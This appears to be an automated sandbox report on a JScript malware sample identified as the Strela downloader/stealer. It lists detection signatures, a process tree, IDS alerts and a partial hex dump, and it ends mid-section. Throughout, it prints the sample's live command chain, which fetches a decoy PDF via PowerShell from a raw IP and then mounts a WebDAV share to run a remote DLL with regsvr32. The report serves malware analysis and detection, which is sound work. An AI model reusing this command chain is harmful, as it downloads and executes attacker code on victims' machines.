Edit tour

Windows Analysis Report
179861427815317256.js

Overview

General Information

Sample name:	179861427815317256.js
Analysis ID:	1589860
MD5:	ff53e4bf2b089a3f45412dfd5fa296f9
SHA1:	4179e1d6683dc661ab4d3ca9bea1892be60f18a9
SHA256:	cf2f0a7f352aa45ab8bcb9f03d8eca4998880531c48a546b30c7cc8c79624a7d
Tags:	jsStrelaStealeruser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4904 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\179861427815317256.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1812 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5504 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2052 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1396 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5088 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1636 --field-trial-handle=1532,i,17580937452729996995,620727007829865619,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5412 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6204 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5128 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4904	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1812, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5504, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1812, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5504, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\179861427815317256.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\179861427815317256.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\179861427815317256.js", ProcessId: 4904, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6204, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49738

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\179861427815317256.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4904, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, ProcessId: 1812, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\179861427815317256.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4904, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, ProcessId: 1812, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\179861427815317256.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4904, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, ProcessId: 1812, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\179861427815317256.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4904, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, ProcessId: 1812, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\179861427815317256.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4904, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, ProcessId: 1812, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\179861427815317256.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\179861427815317256.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\179861427815317256.js", ProcessId: 4904, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1812, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5504, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5412, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6204, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5128, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5412, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6204, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\179861427815317256.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4904, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, ProcessId: 1812, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T09:04:11.484400+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49711	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T09:04:17.459365+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49738	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T09:04:11.484400+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 179861427815317256.js

ReversingLabs: Detection: 18%

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 179861427815317256.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 179861427815317256.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49711 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49738 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 08:04:11 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

